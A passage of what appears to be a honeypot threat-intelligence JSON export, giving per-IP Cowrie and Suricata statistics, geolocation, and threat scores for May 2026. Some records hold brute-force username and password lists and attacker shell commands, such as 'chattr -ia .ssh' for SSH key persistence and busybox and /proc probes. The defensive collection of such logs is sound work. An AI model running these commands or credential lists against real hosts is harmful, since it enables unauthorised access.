      "as_org": "FranTech Solutions",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.8,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:08:34.511000+00:00",
        "last_seen_30d": "2026-05-28T01:57:50.631000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 20
      }
    },
    "68.183.223.113": {
      "attack_count": 41,
      "first_seen": "2026-05-27T04:26:31.726Z",
      "last_seen": "2026-05-27T04:27:47.439Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 40.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.4,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-25T18:34:19.365000+00:00",
        "last_seen_30d": "2026-05-28T19:51:49.288000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Cowrie": 41,
        "Honeytrap": 15
      }
    },
    "34.78.205.134": {
      "attack_count": 39,
      "first_seen": "2026-05-07T03:57:15.142Z",
      "last_seen": "2026-05-07T03:57:34.563Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:57:15.142000+00:00",
        "last_seen_30d": "2026-05-07T03:58:41.466000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 22
      }
    },
    "154.16.169.197": {
      "attack_count": 36,
      "first_seen": "2026-05-05T00:23:59.879Z",
      "last_seen": "2026-05-17T20:10:51.082Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 397423,
      "as_org": "Tier.Net Technologies LLC",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:23:59.879000+00:00",
        "last_seen_30d": "2026-05-17T20:12:00.693000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "195.22.111.234": {
      "attack_count": 36,
      "first_seen": "2026-05-24T06:59:47.167Z",
      "last_seen": "2026-05-24T07:09:53.539Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Khotyn",
      "asn": 56489,
      "as_org": "FLP Bogachenko Vasyl Valentinovich",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T06:59:47.167000+00:00",
        "last_seen_30d": "2026-05-24T07:20:03.566000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "125.124.149.14": {
      "attack_count": 35,
      "first_seen": "2026-05-28T19:06:21.336Z",
      "last_seen": "2026-05-28T19:55:26.691Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mahdi"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "Admin!@#123",
        "mahdi2025",
        "qweasdqwe",
        "rootP@ssw0rd"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T19:06:21.336000+00:00",
        "last_seen_30d": "2026-05-28T20:06:04.222000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 28
      }
    },
    "177.232.87.20": {
      "attack_count": 32,
      "first_seen": "2026-05-24T04:28:03.064Z",
      "last_seen": "2026-05-24T04:47:25.135Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Quer\u00e9taro City",
      "asn": 28536,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:28:03.064000+00:00",
        "last_seen_30d": "2026-05-24T04:48:45.441000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 21
      }
    },
    "181.94.233.4": {
      "attack_count": 24,
      "first_seen": "2026-05-11T21:23:13.106Z",
      "last_seen": "2026-05-11T21:38:35.983Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 27895,
      "as_org": "Nucleo S.A.",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:23:13.106000+00:00",
        "last_seen_30d": "2026-05-11T21:39:54.648000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "185.134.49.5": {
      "attack_count": 24,
      "first_seen": "2026-05-09T23:03:32.072Z",
      "last_seen": "2026-05-13T01:28:36.402Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203443,
      "as_org": "Indert Connection Lp",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:03:32.072000+00:00",
        "last_seen_30d": "2026-05-13T01:29:44.269000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "92.118.39.235": {
      "attack_count": 24,
      "first_seen": "2026-05-02T16:02:22.543Z",
      "last_seen": "2026-05-16T22:06:14.706Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:02:22.543000+00:00",
        "last_seen_30d": "2026-05-16T22:07:16.104000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "180.184.142.135": {
      "attack_count": 21,
      "first_seen": "2026-05-06T05:36:46.970Z",
      "last_seen": "2026-05-06T05:40:13.186Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T05:36:46.970000+00:00",
        "last_seen_30d": "2026-05-06T05:51:01.191000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10
      }
    },
    "31.57.184.248": {
      "attack_count": 21,
      "first_seen": "2026-05-11T11:21:04.753Z",
      "last_seen": "2026-05-14T02:51:55.022Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "support",
        "AdminGPON"
      ],
      "passwords_attempted": [
        "support",
        "ALC#FGU"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T11:21:04.753000+00:00",
        "last_seen_30d": "2026-05-14T02:53:00.076000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 12
      }
    },
    "45.86.144.149": {
      "attack_count": 20,
      "first_seen": "2026-05-03T15:33:01.626Z",
      "last_seen": "2026-05-03T15:46:20.319Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 64445,
      "as_org": "NetJoin srl",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:33:01.626000+00:00",
        "last_seen_30d": "2026-05-03T15:47:20.765000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 14
      }
    },
    "213.230.93.62": {
      "attack_count": 16,
      "first_seen": "2026-05-21T19:53:04.421Z",
      "last_seen": "2026-05-21T19:59:15.173Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:53:04.421000+00:00",
        "last_seen_30d": "2026-05-21T20:00:51.110000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 13
      }
    },
    "45.158.50.164": {
      "attack_count": 16,
      "first_seen": "2026-05-12T12:51:40.481Z",
      "last_seen": "2026-05-12T13:01:56.712Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Cherkasy",
      "asn": 25133,
      "as_org": "LLC McLaut-Invest",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T12:51:40.481000+00:00",
        "last_seen_30d": "2026-05-12T13:09:54.913000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "176.65.139.171": {
      "attack_count": 15,
      "first_seen": "2026-05-02T17:59:00.457Z",
      "last_seen": "2026-05-02T17:59:07.899Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:59:00.457000+00:00",
        "last_seen_30d": "2026-05-02T18:00:10.335000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 4
      }
    },
    "176.65.132.45": {
      "attack_count": 14,
      "first_seen": "2026-05-07T08:45:00.071Z",
      "last_seen": "2026-05-09T21:36:40.195Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "ftpuser"
      ],
      "passwords_attempted": [
        "123456",
        "ftppassword"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T08:45:00.071000+00:00",
        "last_seen_30d": "2026-05-09T21:37:45.834000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "103.172.139.209": {
      "attack_count": 12,
      "first_seen": "2026-05-12T16:07:16.828Z",
      "last_seen": "2026-05-12T16:13:24.860Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 137967,
      "as_org": "Digicon Telecommunication Ltd",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:07:16.828000+00:00",
        "last_seen_30d": "2026-05-12T16:21:23.642000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "109.224.242.239": {
      "attack_count": 12,
      "first_seen": "2026-05-23T11:48:50.201Z",
      "last_seen": "2026-05-23T11:54:54.277Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:00:44.359000+00:00",
        "last_seen_30d": "2026-05-23T11:56:35.769000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "118.34.109.121": {
      "attack_count": 12,
      "first_seen": "2026-05-18T06:38:37.624Z",
      "last_seen": "2026-05-18T06:39:55.209Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nonsan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T06:38:37.624000+00:00",
        "last_seen_30d": "2026-05-18T06:40:56.801000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "104.155.54.107": {
      "attack_count": 10,
      "first_seen": "2026-05-18T02:55:51.053Z",
      "last_seen": "2026-05-18T02:55:57.185Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:55:51.053000+00:00",
        "last_seen_30d": "2026-05-18T02:57:03.285000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "117.245.140.181": {
      "attack_count": 10,
      "first_seen": "2026-05-20T08:45:12.365Z",
      "last_seen": "2026-05-20T09:09:12.440Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:45:12.365000+00:00",
        "last_seen_30d": "2026-05-20T09:10:15.029000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "122.51.73.24": {
      "attack_count": 10,
      "first_seen": "2026-05-02T16:41:28.515Z",
      "last_seen": "2026-05-02T17:13:01.576Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "qwerty12",
        "upload12345"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:41:28.515000+00:00",
        "last_seen_30d": "2026-05-02T17:23:06.821000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "181.35.72.10": {
      "attack_count": 10,
      "first_seen": "2026-05-19T01:49:15.212Z",
      "last_seen": "2026-05-19T05:29:48.639Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:49:15.212000+00:00",
        "last_seen_30d": "2026-05-19T05:30:58.708000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "40.124.175.201": {
      "attack_count": 7,
      "first_seen": "2026-05-18T05:57:05.702Z",
      "last_seen": "2026-05-18T05:57:15.703Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T03:27:42+00:00",
        "last_seen_30d": "2026-05-18T05:58:17.904000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 7,
        "Honeytrap": 6
      }
    },
    "179.243.229.182": {
      "attack_count": 6,
      "first_seen": "2026-05-23T01:11:05.371Z",
      "last_seen": "2026-05-23T03:17:54.854Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:11:05.371000+00:00",
        "last_seen_30d": "2026-05-23T03:19:05.201000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "185.255.100.90": {
      "attack_count": 6,
      "first_seen": "2026-05-29T06:49:07.839Z",
      "last_seen": "2026-05-29T06:49:14.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
